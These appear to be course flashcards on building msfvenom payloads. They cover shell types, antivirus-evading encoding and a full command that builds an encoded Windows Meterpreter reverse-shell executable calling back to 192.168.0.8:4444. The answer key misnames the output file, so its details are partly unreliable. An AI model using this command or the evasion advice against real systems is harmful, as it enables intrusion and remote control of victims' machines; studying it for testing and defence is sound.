17.3 Custom Payloads with msfvenom

Question 1

What are payloads?

Answer 1

A payload is the shell code that runs when an exploit successfully compromises a system.

Question 2

What do attackers build custom payloads?

Answer 2

Attackers typically build custom payloads that they can use in phishing emails or add to their websites. When unsuspecting users click the link for the malicious payload, their computers are infected

Question 3

Custom payloads allow customization of various payload options such as:

Answer 3

• Architecture
• Shell type
  
  • Reverse
  • Bind
  • Meterpreter
  • Other proprietary C2 shell

Question 4

In order to create custom payloads, attackers use a tool called ______, which is Metasploit framework tool used to _____________.

Answer 4

In order to create custom payloads, attackers use a tool called msfvenom, which is Metasploit framework tool used to generate and encode payloads.

Question 5

Metasploit doesneeds to be running in order to use msfvenom.

Answer 5

False

Metasploit does not need to be running in order to use msfvenom.

Question 6

While it’s relatively easy to create custom payloads, the real challenge is ____________.

Answer 6

While it’s relatively easy to create custom payloads, the real challenge is creating a payload that bypasses network detection by IDS and antivirus (AV) solutions.

Question 7

________ is a method used to evade detection tools.

Answer 7

**Encoding** is a method used to evade detection tools.

Question 8

How does encoding evade detection?

Answer 8

• It changes the signature of an exploit or payload, creating a new signature that has no written rule.
• This change in signature allows payloads to bypass detection from AV and IDS tools that detect known malicious signatures.

Question 9

The most important msfvenom options are:

• -p –
• -e –
• -a –
• -s –
• -i –
• -x –
• -o –

Answer 9

• -p – designates the Metasploit payload we want to use.
• -e – designates the encoder we want to use.
• -a – designates the architecture we want to use (the default is x86).
• -s – designates the maximum size of the payload.
• -i – designates the number of iterations with which to encode the payload.
• -x – designates a custom executable file to use as a template.
• -o – designates an output file to be created, specifying its name and location.

Question 10

Explain the following command:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -f exe -o /tmp/hack.exe LHOST=192.168.0.8 LPORT=4444

Answer 10

- msfvenom: Launches the msfvenom program.

- -p: Indicates payload.

- windows/meterpreter/reverse_tcp: The Metasploit command module.

- -a x86: Designates the architecture we will use. x86 is default.

- -e x86/shikata_ga_nai: Designates the encoder we will use.

- -f exe: Indicates the file type to create. In this case, .exe.

- -o /tmp/malware.exe: Creates an output file, naming the file (malware.exe) and location (inside the /tmp directory).